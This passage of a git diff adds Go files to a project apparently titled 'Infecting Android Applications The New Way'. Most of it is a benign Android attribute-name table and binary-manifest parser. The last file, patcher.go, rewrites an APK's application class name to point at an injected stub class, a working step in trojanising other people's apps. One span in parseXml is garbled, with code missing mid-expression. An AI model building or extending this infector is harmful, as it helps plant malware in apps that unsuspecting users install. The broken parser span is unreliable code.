+ return "shownWeekCount"
+ case 0x0101014a:
+ return "shrinkColumns"
+ case 0x0101015d:
+ return "singleLine"
+ case 0x010103bf:
+ return "singleUser"
+ case 0x01010430:
+ return "slideEdge"
+ case 0x0101029e:
+ return "smallIcon"
+ case 0x01010284:
+ return "smallScreens"
+ case 0x01010231:
+ return "smoothScrollbar"
+ case 0x0101034a:
+ return "solidColor"
+ case 0x01010215:
+ return "soundEffectsEnabled"
+ case 0x01010113:
+ return "spacing"
+ case 0x01010087:
+ return "spinnerDropDownItemStyle"
+ case 0x01010089:
+ return "spinnerItemStyle"
+ case 0x010102f1:
+ return "spinnerMode"
+ case 0x01010081:
+ return "spinnerStyle"
+ case 0x0101034b:
+ return "spinnersShown"
+ case 0x010102ef:
+ return "splitMotionEvents"
+ case 0x0101044c:
+ return "splitTrack"
+ case 0x010104bf:
+ return "spotShadowAlpha"
+ case 0x01010119:
+ return "src"
+ case 0x010103e3:
+ return "ssp"
+ case 0x010103e5:
+ return "sspPattern"
+ case 0x010103e4:
+ return "sspPrefix"
+ case 0x010100fd:
+ return "stackFromBottom"
+ case 0x0101043e:
+ return "stackViewStyle"
+ case 0x01010082:
+ return "starStyle"
+ case 0x010104db:
+ return "start"
+ case 0x0101019d:
+ return "startColor"
+ case 0x010103e2:
+ return "startDelay"
+ case 0x010101be:
+ return "startOffset"
+ case 0x0101017c:
+ return "startYear"
+ case 0x01010448:
+ return "stateListAnimator"
+ case 0x01010016:
+ return "stateNotNeeded"
+ case 0x010100aa:
+ return "state_above_anchor"
+ case 0x0101031b:
+ return "state_accelerated"
+ case 0x010102fe:
+ return "state_activated"
+ case 0x010100a2:
+ return "state_active"
+ case 0x0101009f:
+ return "state_checkable"
+ case 0x010100a0:
+ return "state_checked"
+ case 0x01010368:
+ return "state_drag_can_accept"
+ case 0x01010369:
+ return "state_drag_hovered"
+ case 0x010100a9:
+ return "state_empty"
+ case 0x0101009e:
+ return "state_enabled"
+ case 0x010100a8:
+ return "state_expanded"
+ case 0x010100a4:
+ return "state_first"
+ case 0x0101009c:
+ return "state_focused"
+ case 0x01010367:
+ return "state_hovered"
+ case 0x010100a6:
+ return "state_last"
+ case 0x0101023c:
+ return "state_long_pressable"
+ case 0x010100a5:
+ return "state_middle"
+ case 0x0101034d:
+ return "state_multiline"
+ case 0x010100a7:
+ return "state_pressed"
+ case 0x010100a1:
+ return "state_selected"
+ case 0x010100a3:
+ return "state_single"
+ case 0x0101009d:
+ return "state_window_focused"
+ case 0x01010331:
+ return "staticWallpaperPreview"
+ case 0x01010451:
+ return "statusBarColor"
+ case 0x01010146:
+ return "stepSize"
+ case 0x0101036a:
+ return "stopWithTask"
+ case 0x01010209:
+ return "streamType"
+ case 0x01010149:
+ return "stretchColumns"
+ case 0x01010116:
+ return "stretchMode"
+ case 0x010104cb:
+ return "strokeAlpha"
+ case 0x01010406:
+ return "strokeColor"
+ case 0x0101040b:
+ return "strokeLineCap"
+ case 0x0101040c:
+ return "strokeLineJoin"
+ case 0x0101040d:
+ return "strokeMiterLimit"
+ case 0x01010407:
+ return "strokeWidth"
+ case 0x01010488:
+ return "submitBackground"
+ case 0x010102d1:
+ return "subtitle"
+ case 0x0101042f:
+ return "subtitleTextAppearance"
+ case 0x010104e4:
+ return "subtitleTextColor"
+ case 0x010102f9:
+ return "subtitleTextStyle"
+ case 0x0101039a:
+ return "subtypeExtraValue"
+ case 0x010103c1:
+ return "subtypeId"
+ case 0x01010399:
+ return "subtypeLocale"
+ case 0x010101dc:
+ return "suggestActionMsg"
+ case 0x010101dd:
+ return "suggestActionMsgColumn"
+ case 0x01010486:
+ return "suggestionRowLayout"
+ case 0x010101e9:
+ return "summary"
+ case 0x010102a2:
+ return "summaryColumn"
+ case 0x010101f0:
+ return "summaryOff"
+ case 0x010101ef:
+ return "summaryOn"
+ case 0x010104f0:
+ return "supportsAssist"
+ case 0x010104f1:
+ return "supportsLaunchVoiceAssistFromKeyguard"
+ case 0x010103af:
+ return "supportsRtl"
+ case 0x010103eb:
+ return "supportsSwitchingToNextInputMethod"
+ case 0x0101029b:
+ return "supportsUploading"
+ case 0x01010370:
+ return "switchMinWidth"
+ case 0x01010371:
+ return "switchPadding"
+ case 0x0101036d:
+ return "switchPreferenceStyle"
+ case 0x0101043f:
+ return "switchStyle"
+ case 0x0101036e:
+ return "switchTextAppearance"
+ case 0x0101036c:
+ return "switchTextOff"
+ case 0x0101036b:
+ return "switchTextOn"
+ case 0x01010019:
+ return "syncable"
+ case 0x010102bd:
+ return "tabStripEnabled"
+ case 0x010102bb:
+ return "tabStripLeft"
+ case 0x010102bc:
+ return "tabStripRight"
+ case 0x01010083:
+ return "tabWidgetStyle"
+ case 0x010100d1:
+ return "tag"
+ case 0x01010202:
+ return "targetActivity"
+ case 0x0101002f:
+ return "targetClass"
+ case 0x010103a0:
+ return "targetDescriptions"
+ case 0x010103dc:
+ return "targetId"
+ case 0x0101044d:
+ return "targetName"
+ case 0x01010021:
+ return "targetPackage"
+ case 0x01010270:
+ return "targetSdkVersion"
+ case 0x01010012:
+ return "taskAffinity"
+ case 0x010100be:
+ return "taskCloseEnterAnimation"
+ case 0x010100bf:
+ return "taskCloseExitAnimation"
+ case 0x010100bc:
+ return "taskOpenEnterAnimation"
+ case 0x010100bd:
+ return "taskOpenExitAnimation"
+ case 0x010100c2:
+ return "taskToBackEnterAnimation"
+ case 0x010100c3:
+ return "taskToBackExitAnimation"
+ case 0x010100c0:
+ return "taskToFrontEnterAnimation"
+ case 0x010100c1:
+ return "taskToFrontExitAnimation"
+ case 0x0101026a:
+ return "tension"
+ case 0x01010272:
+ return "testOnly"
+ case 0x0101014f:
+ return "text"
+ case 0x010103b1:
+ return "textAlignment"
+ case 0x0101038c:
+ return "textAllCaps"
+ case 0x01010034:
+ return "textAppearance"
+ case 0x01010207:
+ return "textAppearanceButton"
+ case 0x01010035:
+ return "textAppearanceInverse"
+ case 0x01010040:
+ return "textAppearanceLarge"
+ case 0x01010043:
+ return "textAppearanceLargeInverse"
+ case 0x01010301:
+ return "textAppearanceLargePopupMenu"
+ case 0x0101039e:
+ return "textAppearanceListItem"
+ case 0x01010432:
+ return "textAppearanceListItemSecondary"
+ case 0x0101039f:
+ return "textAppearanceListItemSmall"
+ case 0x01010041:
+ return "textAppearanceMedium"
+ case 0x01010044:
+ return "textAppearanceMediumInverse"
+ case 0x010102a0:
+ return "textAppearanceSearchResultSubtitle"
+ case 0x010102a1:
+ return "textAppearanceSearchResultTitle"
+ case 0x01010042:
+ return "textAppearanceSmall"
+ case 0x01010045:
+ return "textAppearanceSmallInverse"
+ case 0x01010302:
+ return "textAppearanceSmallPopupMenu"
+ case 0x01010046:
+ return "textCheckMark"
+ case 0x01010047:
+ return "textCheckMarkInverse"
+ case 0x01010098:
+ return "textColor"
+ case 0x01010306:
+ return "textColorAlertDialogListItem"
+ case 0x01010099:
+ return "textColorHighlight"
+ case 0x0101034f:
+ return "textColorHighlightInverse"
+ case 0x0101009a:
+ return "textColorHint"
+ case 0x0101003f:
+ return "textColorHintInverse"
+ case 0x0101009b:
+ return "textColorLink"
+ case 0x01010350:
+ return "textColorLinkInverse"
+ case 0x01010036:
+ return "textColorPrimary"
+ case 0x01010037:
+ return "textColorPrimaryDisableOnly"
+ case 0x01010039:
+ return "textColorPrimaryInverse"
+ case 0x0101028b:
+ return "textColorPrimaryInverseDisableOnly"
+ case 0x0101003d:
+ return "textColorPrimaryInverseNoDisable"
+ case 0x0101003b:
+ return "textColorPrimaryNoDisable"
+ case 0x01010038:
+ return "textColorSecondary"
+ case 0x0101003a:
+ return "textColorSecondaryInverse"
+ case 0x0101003e:
+ return "textColorSecondaryInverseNoDisable"
+ case 0x0101003c:
+ return "textColorSecondaryNoDisable"
+ case 0x01010212:
+ return "textColorTertiary"
+ case 0x01010213:
+ return "textColorTertiaryInverse"
+ case 0x01010362:
+ return "textCursorDrawable"
+ case 0x010103b0:
+ return "textDirection"
+ case 0x01010315:
+ return "textEditNoPasteWindowLayout"
+ case 0x01010314:
+ return "textEditPasteWindowLayout"
+ case 0x0101035f:
+ return "textEditSideNoPasteWindowLayout"
+ case 0x0101035e:
+ return "textEditSidePasteWindowLayout"
+ case 0x01010374:
+ return "textEditSuggestionItemLayout"
+ case 0x010100ff:
+ return "textFilterEnabled"
+ case 0x01010316:
+ return "textIsSelectable"
+ case 0x01010125:
+ return "textOff"
+ case 0x01010124:
+ return "textOn"
+ case 0x01010151:
+ return "textScaleX"
+ case 0x010102c7:
+ return "textSelectHandle"
+ case 0x010102c5:
+ return "textSelectHandleLeft"
+ case 0x010102c6:
+ return "textSelectHandleRight"
+ case 0x010102c8:
+ return "textSelectHandleWindowStyle"
+ case 0x01010095:
+ return "textSize"
+ case 0x01010097:
+ return "textStyle"
+ case 0x01010373:
+ return "textSuggestionsWindowStyle"
+ case 0x01010084:
+ return "textViewStyle"
+ case 0x01010000:
+ return "theme"
+ case 0x01010260:
+ return "thickness"
+ case 0x0101019c:
+ return "thicknessRatio"
+ case 0x01010142:
+ return "thumb"
+ case 0x01010143:
+ return "thumbOffset"
+ case 0x010104e5:
+ return "thumbPosition"
+ case 0x01010372:
+ return "thumbTextPadding"
+ case 0x01010471:
+ return "thumbTint"
+ case 0x01010472:
+ return "thumbTintMode"
+ case 0x010102a5:
+ return "thumbnail"
+ case 0x01010201:
+ return "tileMode"
+ case 0x01010477:
+ return "tileModeX"
+ case 0x01010478:
+ return "tileModeY"
+ case 0x0101049e:
+ return "timePickerDialogTheme"
+ case 0x010104b4:
+ return "timePickerMode"
+ case 0x0101049d:
+ return "timePickerStyle"
+ case 0x010103cc:
+ return "timeZone"
+ case 0x01010121:
+ return "tint"
+ case 0x010103fb:
+ return "tintMode"
+ case 0x010101e1:
+ return "title"
+ case 0x010101e2:
+ return "titleCondensed"
+ case 0x0101042e:
+ return "titleTextAppearance"
+ case 0x010104e3:
+ return "titleTextColor"
+ case 0x010102f8:
+ return "titleTextStyle"
+ case 0x010101cb:
+ return "toAlpha"
+ case 0x010101b4:
+ return "toDegrees"
+ case 0x01010449:
+ return "toId"
+ case 0x010103de:
+ return "toScene"
+ case 0x010101c7:
+ return "toXDelta"
+ case 0x010101c3:
+ return "toXScale"
+ case 0x010101c9:
+ return "toYDelta"
+ case 0x010101c5:
+ return "toYScale"
+ case 0x010104aa:
+ return "toolbarStyle"
+ case 0x010101ae:
+ return "top"
+ case 0x010100cb:
+ return "topBright"
+ case 0x010100c7:
+ return "topDark"
+ case 0x010101a9:
+ return "topLeftRadius"
+ case 0x01010258:
+ return "topOffset"
+ case 0x010101aa:
+ return "topRightRadius"
+ case 0x0101048f:
+ return "touchscreenBlocksFocus"
+ case 0x0101036f:
+ return "track"
+ case 0x010104d9:
+ return "trackTint"
+ case 0x010104da:
+ return "trackTintMode"
+ case 0x01010100:
+ return "transcriptMode"
+ case 0x01010320:
+ return "transformPivotX"
+ case 0x01010321:
+ return "transformPivotY"
+ case 0x010103df:
+ return "transition"
+ case 0x01010401:
+ return "transitionGroup"
+ case 0x01010400:
+ return "transitionName"
+ case 0x010103e0:
+ return "transitionOrdering"
+ case 0x0101047c:
+ return "transitionVisibilityMode"
+ case 0x0101045a:
+ return "translateX"
+ case 0x0101045b:
+ return "translateY"
+ case 0x01010322:
+ return "translationX"
+ case 0x01010323:
+ return "translationY"
+ case 0x010103fa:
+ return "translationZ"
+ case 0x01010409:
+ return "trimPathEnd"
+ case 0x0101040a:
+ return "trimPathOffset"
+ case 0x01010408:
+ return "trimPathStart"
+ case 0x010101a1:
+ return "type"
+ case 0x01010096:
+ return "typeface"
+ case 0x01010398:
+ return "uiOptions"
+ case 0x01010276:
+ return "uncertainGestureColor"
+ case 0x01010344:
+ return "unfocusedMonthDateColor"
+ case 0x0101020e:
+ return "unselectedAlpha"
+ case 0x01010250:
+ return "updatePeriodMillis"
+ case 0x01010379:
+ return "useDefaultMargins"
+ case 0x01010310:
+ return "useIntrinsicSizeAsMinimum"
+ case 0x0101019f:
+ return "useLevel"
+ case 0x01010291:
+ return "userVisible"
+ case 0x010104ec:
+ return "usesCleartextTraffic"
+ case 0x01010024:
+ return "value"
+ case 0x010102de:
+ return "valueFrom"
+ case 0x010102df:
+ return "valueTo"
+ case 0x010102e0:
+ return "valueType"
+ case 0x01010195:
+ return "variablePadding"
+ case 0x010103e7:
+ return "vendor"
+ case 0x0101021b:
+ return "versionCode"
+ case 0x0101021c:
+ return "versionName"
+ case 0x0101023a:
+ return "verticalCorrection"
+ case 0x0101012e:
+ return "verticalDivider"
+ case 0x01010240:
+ return "verticalGap"
+ case 0x01010334:
+ return "verticalScrollbarPosition"
+ case 0x01010115:
+ return "verticalSpacing"
+ case 0x01010403:
+ return "viewportHeight"
+ case 0x01010402:
+ return "viewportWidth"
+ case 0x010100dc:
+ return "visibility"
+ case 0x01010194:
+ return "visible"
+ case 0x010102b8:
+ return "vmSafeMode"
+ case 0x01010484:
+ return "voiceIcon"
+ case 0x01010255:
+ return "voiceLanguage"
+ case 0x01010253:
+ return "voiceLanguageModel"
+ case 0x01010256:
+ return "voiceMaxResults"
+ case 0x01010254:
+ return "voicePromptText"
+ case 0x01010252:
+ return "voiceSearchMode"
+ case 0x01010295:
+ return "wallpaperCloseEnterAnimation"
+ case 0x01010296:
+ return "wallpaperCloseExitAnimation"
+ case 0x01010299:
+ return "wallpaperIntraCloseEnterAnimation"
+ case 0x0101029a:
+ return "wallpaperIntraCloseExitAnimation"
+ case 0x01010297:
+ return "wallpaperIntraOpenEnterAnimation"
+ case 0x01010298:
+ return "wallpaperIntraOpenExitAnimation"
+ case 0x01010293:
+ return "wallpaperOpenEnterAnimation"
+ case 0x01010294:
+ return "wallpaperOpenExitAnimation"
+ case 0x010102b9:
+ return "webTextViewStyle"
+ case 0x01010085:
+ return "webViewStyle"
+ case 0x01010348:
+ return "weekDayTextAppearance"
+ case 0x01010345:
+ return "weekNumberColor"
+ case 0x01010346:
+ return "weekSeparatorLineColor"
+ case 0x01010128:
+ return "weightSum"
+ case 0x010103c4:
+ return "widgetCategory"
+ case 0x010101eb:
+ return "widgetLayout"
+ case 0x01010159:
+ return "width"
+ case 0x010102cd:
+ return "windowActionBar"
+ case 0x010102e4:
+ return "windowActionBarOverlay"
+ case 0x010102dd:
+ return "windowActionModeOverlay"
+ case 0x010104cd:
+ return "windowActivityTransitions"
+ case 0x0101043c:
+ return "windowAllowEnterTransitionOverlap"
+ case 0x0101043b:
+ return "windowAllowReturnTransitionOverlap"
+ case 0x010100ae:
+ return "windowAnimationStyle"
+ case 0x01010054:
+ return "windowBackground"
+ case 0x010104ab:
+ return "windowClipToOutline"
+ case 0x0101035b:
+ return "windowCloseOnTouchOutside"
+ case 0x01010059:
+ return "windowContentOverlay"
+ case 0x010103f9:
+ return "windowContentTransitionManager"
+ case 0x010103f8:
+ return "windowContentTransitions"
+ case 0x01010222:
+ return "windowDisablePreview"
+ case 0x01010450:
+ return "windowDrawsSystemBarBackgrounds"
+ case 0x01010490:
+ return "windowElevation"
+ case 0x01010317:
+ return "windowEnableSplitTouch"
+ case 0x010100b4:
+ return "windowEnterAnimation"
+ case 0x01010437:
+ return "windowEnterTransition"
+ case 0x010100b5:
+ return "windowExitAnimation"
+ case 0x01010438:
+ return "windowExitTransition"
+ case 0x01010055:
+ return "windowFrame"
+ case 0x0101020d:
+ return "windowFullscreen"
+ case 0x010100b7:
+ return "windowHideAnimation"
+ case 0x01010057:
+ return "windowIsFloating"
+ case 0x01010058:
+ return "windowIsTranslucent"
+ case 0x010104e0:
+ return "windowLightStatusBar"
+ case 0x01010356:
+ return "windowMinWidthMajor"
+ case 0x01010357:
+ return "windowMinWidthMinor"
+ case 0x0101021e:
+ return "windowNoDisplay"
+ case 0x01010056:
+ return "windowNoTitle"
+ case 0x010103cf:
+ return "windowOverscan"
+ case 0x010104af:
+ return "windowReenterTransition"
+ case 0x010104ae:
+ return "windowReturnTransition"
+ case 0x01010439:
+ return "windowSharedElementEnterTransition"
+ case 0x0101043a:
+ return "windowSharedElementExitTransition"
+ case 0x010104b1:
+ return "windowSharedElementReenterTransition"
+ case 0x010104b0:
+ return "windowSharedElementReturnTransition"
+ case 0x010104bb:
+ return "windowSharedElementsUseOverlay"
+ case 0x010100b6:
+ return "windowShowAnimation"
+ case 0x01010292:
+ return "windowShowWallpaper"
+ case 0x0101022b:
+ return "windowSoftInputMode"
+ case 0x010103f3:
+ return "windowSwipeToDismiss"
+ case 0x0101005c:
+ return "windowTitleBackgroundStyle"
+ case 0x0101005a:
+ return "windowTitleSize"
+ case 0x0101005b:
+ return "windowTitleStyle"
+ case 0x01010461:
+ return "windowTransitionBackgroundFadeDuration"
+ case 0x010103f0:
+ return "windowTranslucentNavigation"
+ case 0x010103ef:
+ return "windowTranslucentStatus"
+ case 0x01010008:
+ return "writePermission"
+ case 0x010100ac:
+ return "x"
+ case 0x010102bf:
+ return "xlargeScreens"
+ case 0x010100ad:
+ return "y"
+ case 0x01010499:
+ return "yearListItemTextAppearance"
+ case 0x0101049a:
+ return "yearListSelectorColor"
+ case 0x01010090:
+ return "yesNoPreferenceStyle"
+ case 0x010101c1:
+ return "zAdjustment"
+ case 0x0101054c:
+ return "targetSandboxVersion"
+ default:
+ return ""
+ }
+}
diff --git a/Infecting Android Applications The New Way/master/manifest/binxml.go b/Infecting Android Applications The New Way/master/manifest/binxml.go
new file mode 100644
index 0000000..2801ca9
--- /dev/null
+++ b/Infecting Android Applications The New Way/master/manifest/binxml.go
@@ -0,0 +1,375 @@
+package manifest
+
+import (
+ "bytes"
+ "encoding/binary"
+ "encoding/xml"
+ "errors"
+ "fmt"
+ "io"
+ "io/ioutil"
+ "strconv"
+ "strings"
+ "unsafe"
+)
+
+type binxmlParseInfo struct {
+ strings stringTable
+ resourceIds []uint32
+
+ encoder ManifestEncoder
+ res *ResourceTable
+}
+
+// Some samples have manifest in plaintext, this is an error.
+// 2c882a2376034ed401be082a42a21f0ac837689e7d3ab6be0afb82f44ca0b859
+var ErrPlainTextManifest = errors.New("xml is in plaintext, binary form expected")
+
+// Deprecated: just calls ParseXML
+func ParseManifest(r io.Reader, enc ManifestEncoder, resources *ResourceTable) error {
+ return ParseXml(r, enc, resources)
+}
+
+// the main purpose of this reader is to
+// count number of bytes readed after parsing string table
+// so we can calc offset to the end of the string table
+type myReader struct {
+ read int
+ r io.Reader
+}
+
+type myRead interface {
+ GetRead() int
+}
+
+func (mr *myReader) Read(p []byte) (n int, err error) {
+ n, err = mr.r.Read(p)
+ mr.read += n
+ return
+}
+
+func (mr *myReader) GetRead() int {
+ return mr.read
+}
+
+// Parse the binary Xml format. The resources are optional and can be nil.
+func ParseXml(r io.Reader, enc ManifestEncoder, resources *ResourceTable) error {
+ x := binxmlParseInfo{
+ encoder: enc,
+ res: resources,
+ }
+
+ id, headerLen, totalLen, err := parseChunkHeader(r)
+ if err != nil {
+ return err
+ }
+ //check if manifest is binary not plaintext
+ if (id & 0xFF) == '<' {
+ buf := bytes.NewBuffer(make([]byte, 0, 8))
+ binary.Write(buf, binary.LittleEndian, &id)
+ binary.Write(buf, binary.LittleEndian, &headerLen)
+ binary.Write(buf, binary.LittleEndian, &totalLen)
+
+ if s := buf.String(); strings.HasPrefix(s, "> 16) - 1
+ attrCnt = (attrCnt & 0xFFFF)
+
+ styleAttrIdx := (classAttrIdx >> 16) - 1
+ classAttrIdx = (classAttrIdx & 0xFFFF)
+
+ _ = styleAttrIdx
+ _ = idAttributeIdx
+
+ namespace, err := x.strings.get(namespaceIdx)
+ if err != nil {
+ return fmt.Errorf("error decoding namespace: %s", err.Error())
+ }
+
+ name, err := x.strings.get(nameIdx)
+ if err != nil {
+ return fmt.Errorf("error decoding name: %s", err.Error())
+ }
+
+ tok := xml.StartElement{
+ Name: xml.Name{Local: name, Space: namespace},
+ }
+
+ var attrData [attrValuesCount]uint32
+ for i := uint32(0); i < attrCnt; i++ {
+ if err := binary.Read(r, binary.LittleEndian, &attrData); err != nil {
+ return fmt.Errorf("error reading attrData: %s", err.Error())
+ }
+
+ // Android actually reads attributes purely by their IDs (see frameworks/base/core/res/res/values/attrs_manifest.xml
+ // and its generated R class, that's where the indexes come from, namely the AndroidManifestActivity array)
+ // but good guy android actually puts the strings into the string table on the same indexes anyway, most of the time.
+ // This is for the samples that don't have it, mostly due to obfuscators/minimizers.
+ // The ID can't change, because it would break current APKs.
+ // Sample: 98d2e837b8f3ac41e74b86b2d532972955e5352197a893206ecd9650f678ae31
+ //
+ // The exception to this rule is the "package" attribute in the root manifest tag. That one MUST NOT use
+ // resource ids, instead, it needs to use the string table. The meta attrs 'platformBuildVersion*'
+ // are the same, except Android never parses them so it's just for manual analysis.
+ // Sample: a3ee88cf1492237a1be846df824f9de30a6f779973fe3c41c7d7ed0be644ba37
+ //
+ // In general, android doesn't care about namespaces, but if a resource ID is used, it has to have been
+ // in the android: namespace, so we fix that up.
+
+ // frameworks/base/core/jni/android_util_AssetManager.cpp android_content_AssetManager_retrieveAttributes
+ // frameworks/base/core/java/android/content/pm/PackageParser.java parsePackageSplitNames
+ var attrName string
+ if attrData[attrIdxName] < uint32(len(x.resourceIds)) {
+ attrName = getAttributteName(x.resourceIds[attrData[attrIdxName]])
+ }
+
+ var attrNameFromStrings string
+ if attrName == "" || name == "manifest" {
+ attrNameFromStrings, err = x.strings.get(attrData[attrIdxName])
+ if err != nil {
+ if attrName == "" {
+ return fmt.Errorf("error decoding attrNameIdx: %s", err.Error())
+ }
+ } else if attrName != "" && attrNameFromStrings != "package" && !strings.HasPrefix(attrNameFromStrings, "platformBuildVersion") {
+ attrNameFromStrings = ""
+ }
+ }
+
+ attrNameSpace, err := x.strings.get(attrData[attrIdxNamespace])
+ if err != nil {
+ return fmt.Errorf("error decoding attrNamespaceIdx: %s", err.Error())
+ }
+
+ if attrNameFromStrings != "" {
+ attrName = attrNameFromStrings
+ } else if attrNameSpace == "" {
+ attrNameSpace = "http://schemas.android.com/apk/res/android"
+ }
+
+ attr := xml.Attr{
+ Name: xml.Name{Local: attrName, Space: attrNameSpace},
+ }
+
+ switch attrData[attrIdxType] >> 24 {
+ case AttrTypeString:
+ attr.Value, err = x.strings.get(attrData[attrIdxString])
+ if err != nil {
+ return fmt.Errorf("error decoding attrStringIdx: %s", err.Error())
+ }
+ case AttrTypeIntBool:
+ attr.Value = strconv.FormatBool(attrData[attrIdxData] != 0)
+ case AttrTypeIntHex:
+ attr.Value = fmt.Sprintf("0x%x", attrData[attrIdxData])
+ case AttrTypeFloat:
+ val := (*float32)(unsafe.Pointer(&attrData[attrIdxData]))
+ attr.Value = fmt.Sprintf("%g", *val)
+ case AttrTypeReference:
+ isValidString := false
+ if x.res != nil {
+ var e *ResourceEntry
+ if attr.Name.Local == "icon" || attr.Name.Local == "roundIcon" {
+ e, err = x.res.GetIconPng(attrData[attrIdxData])
+ } else {
+ e, err = x.res.GetResourceEntry(attrData[attrIdxData])
+ }
+
+ if err == nil {
+ attr.Value, err = e.value.String()
+ isValidString = err == nil
+ }
+ }
+
+ if !isValidString && attr.Value == "" {
+ attr.Value = fmt.Sprintf("@%x", attrData[attrIdxData])
+ }
+ default:
+ attr.Value = strconv.FormatInt(int64(int32(attrData[attrIdxData])), 10)
+ }
+ tok.Attr = append(tok.Attr, attr)
+ }
+
+ return x.encoder.EncodeToken(tok)
+}
+
+func (x *binxmlParseInfo) parseTagEnd(r *io.LimitedReader) error {
+ var namespaceIdx, nameIdx uint32
+ if err := binary.Read(r, binary.LittleEndian, &namespaceIdx); err != nil {
+ return fmt.Errorf("error reading namespace idx: %s", err.Error())
+ }
+
+ if err := binary.Read(r, binary.LittleEndian, &nameIdx); err != nil {
+ return fmt.Errorf("error reading name idx: %s", err.Error())
+ }
+
+ namespace, err := x.strings.get(namespaceIdx)
+ if err != nil {
+ return fmt.Errorf("error decoding namespace: %s", err.Error())
+ }
+
+ name, err := x.strings.get(nameIdx)
+ if err != nil {
+ return fmt.Errorf("error decoding name: %s", err.Error())
+ }
+
+ return x.encoder.EncodeToken(xml.EndElement{Name: xml.Name{Local: name, Space: namespace}})
+}
+
+func (x *binxmlParseInfo) parseText(r *io.LimitedReader) error {
+ var idx uint32
+ if err := binary.Read(r, binary.LittleEndian, &idx); err != nil {
+ return fmt.Errorf("error reading idx: %s", err.Error())
+ }
+
+ text, err := x.strings.get(idx)
+ if err != nil {
+ return fmt.Errorf("error decoding idx: %s", err.Error())
+ }
+
+ if _, err := io.CopyN(ioutil.Discard, r, 2*4); err != nil {
+ return fmt.Errorf("error skipping: %s", err.Error())
+ }
+
+ return x.encoder.EncodeToken(xml.CharData(text))
+}
diff --git a/Infecting Android Applications The New Way/master/manifest/common.go b/Infecting Android Applications The New Way/master/manifest/common.go
new file mode 100644
index 0000000..5405ef8
--- /dev/null
+++ b/Infecting Android Applications The New Way/master/manifest/common.go
@@ -0,0 +1,67 @@
+package manifest
+
+import (
+ "encoding/binary"
+ "io"
+)
+
+const (
+ chunkNull = 0x0000
+ chunkStringTable = 0x0001
+ chunkTable = 0x0002
+ chunkAxmlFile = 0x0003
+ chunkResourceIds = 0x0180
+ chunkTablePackage = 0x0200
+ chunkTableType = 0x0201
+ chunkTableTypeSpec = 0x0202
+ chunkTableLibrary = 0x0203
+
+ chunkMaskXml = 0x0100
+ chunkXmlNsStart = 0x0100
+ chunkXmlNsEnd = 0x0101
+ chunkXmlTagStart = 0x0102
+ chunkXmlTagEnd = 0x0103
+ chunkXmlText = 0x0104
+
+ attrIdxNamespace = 0
+ attrIdxName = 1
+ attrIdxString = 2
+ attrIdxType = 3
+ attrIdxData = 4
+ attrValuesCount = 5
+
+ chunkHeaderSize = (2 + 2 + 4)
+)
+
+type AttrType uint8
+
+const (
+ AttrTypeNull AttrType = 0x00
+ AttrTypeReference = 0x01
+ AttrTypeAttribute = 0x02
+ AttrTypeString = 0x03
+ AttrTypeFloat = 0x04
+ AttrTypeIntDec = 0x10
+ AttrTypeIntHex = 0x11
+ AttrTypeIntBool = 0x12
+ AttrTypeIntColorArgb8 = 0x1c
+ AttrTypeIntColorRgb8 = 0x1d
+ AttrTypeIntColorArgb4 = 0x1e
+ AttrTypeIntColorRgb4 = 0x1f
+)
+
+func parseChunkHeader(r io.Reader) (id, headerLen uint16, len uint32, err error) {
+ if err = binary.Read(r, binary.LittleEndian, &id); err != nil { // id
+
+ return
+ }
+
+ if err = binary.Read(r, binary.LittleEndian, &headerLen); err != nil { //header
+ return
+ }
+
+ if err = binary.Read(r, binary.LittleEndian, &len); err != nil {
+ return
+ }
+ return
+}
diff --git a/Infecting Android Applications The New Way/master/manifest/encoder.go b/Infecting Android Applications The New Way/master/manifest/encoder.go
new file mode 100644
index 0000000..e2f85e4
--- /dev/null
+++ b/Infecting Android Applications The New Way/master/manifest/encoder.go
@@ -0,0 +1,16 @@
+package manifest
+
+import (
+ "encoding/xml"
+ "errors"
+)
+
+// Return this error from EncodeToken to tell apkparser to finish parsing,
+// to be used when you found the value you care about and don't need the rest.
+var ErrEndParsing = errors.New("end manifest parsing")
+
+// Encoder for writing the XML data. For example Encoder from encoding/xml matches this interface.
+type ManifestEncoder interface {
+ EncodeToken(t xml.Token) error
+ Flush() error
+}
diff --git a/Infecting Android Applications The New Way/master/manifest/patcher.go b/Infecting Android Applications The New Way/master/manifest/patcher.go
new file mode 100644
index 0000000..8574e1f
--- /dev/null
+++ b/Infecting Android Applications The New Way/master/manifest/patcher.go
@@ -0,0 +1,300 @@
+package manifest
+
+import (
+ "bytes"
+ "common"
+ "encoding/binary"
+ "encoding/xml"
+ "golang.org/x/text/encoding/unicode"
+ "io/ioutil"
+ "log"
+ "path/filepath"
+)
+
+const (
+ fileLenOffset = 0x4
+ offsetTableOffset = 0x24
+ offsetStringTableLen = 0xc
+ stringTableInfoSizeOffset = 0x1c
+
+ // Name of application in our stub dex
+ // It is MUST be longer than any average name
+ newAppNameUTF8 = "aaaaaaaa.aaaaaaaaaaaaaaaaaaaa.aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.aaaaaaaaaaaaaaaaaaaaaa.InjectedApp"
+ newAppNameUTF8Len = uint8(len(newAppNameUTF8))
+)
+
+var alignCount uint32
+var oldAppNameUTF16 string
+var newAppNameUTF16 string
+var OldAppNameUTF8 string
+var PlainPath, _ = filepath.Abs("AndroidManifest_plaintext.xml")
+
+func patchApplication() ([]byte, int) {
+
+ log.Printf("Getting original application name...")
+ OldAppNameUTF8 = getAppName()
+ log.Printf("Original applciation name = %s\n", OldAppNameUTF8)
+
+ if OldAppNameUTF8 == "" {
+ log.Panic("Application name wasn't found")
+ //TODO if not found - we should add our
+ }
+
+ // read bytes from binary xml
+ androidManifestRaw, err := ioutil.ReadFile(common.ManifestBinaryPath)
+ if err != nil {
+ log.Panicf("Failed to read %s", common.ManifestBinaryPath)
+ }
+
+ log.Printf("Original manifest (binary) size = 0x%0x\n", len(androidManifestRaw))
+
+ // encode name to UTF-16
+ encoder := unicode.UTF16(unicode.LittleEndian, unicode.IgnoreBOM).NewEncoder()
+ oldAppNameUTF16, err = encoder.String(OldAppNameUTF8)
+
+ // searching application name position in binary manifest
+ pos := bytes.Index(androidManifestRaw, []byte(oldAppNameUTF16))
+
+ //get lenght of string
+ originalLen := int(androidManifestRaw[pos-2]) * 2
+
+ log.Printf("pos = 0x%0x, original applciation name length = 0x%0x\n", pos, originalLen)
+
+ //patch length with new value. length = characters count
+ // pos-2 - because every string is followed by len
+ androidManifestRaw[pos-2] = newAppNameUTF8Len
+
+ //patch application name with new name
+ // do not forget about alignment!
+ newAppNameUTF16, err = encoder.String(newAppNameUTF8)
+ newAppNameUTF16Len := len(newAppNameUTF16)
+
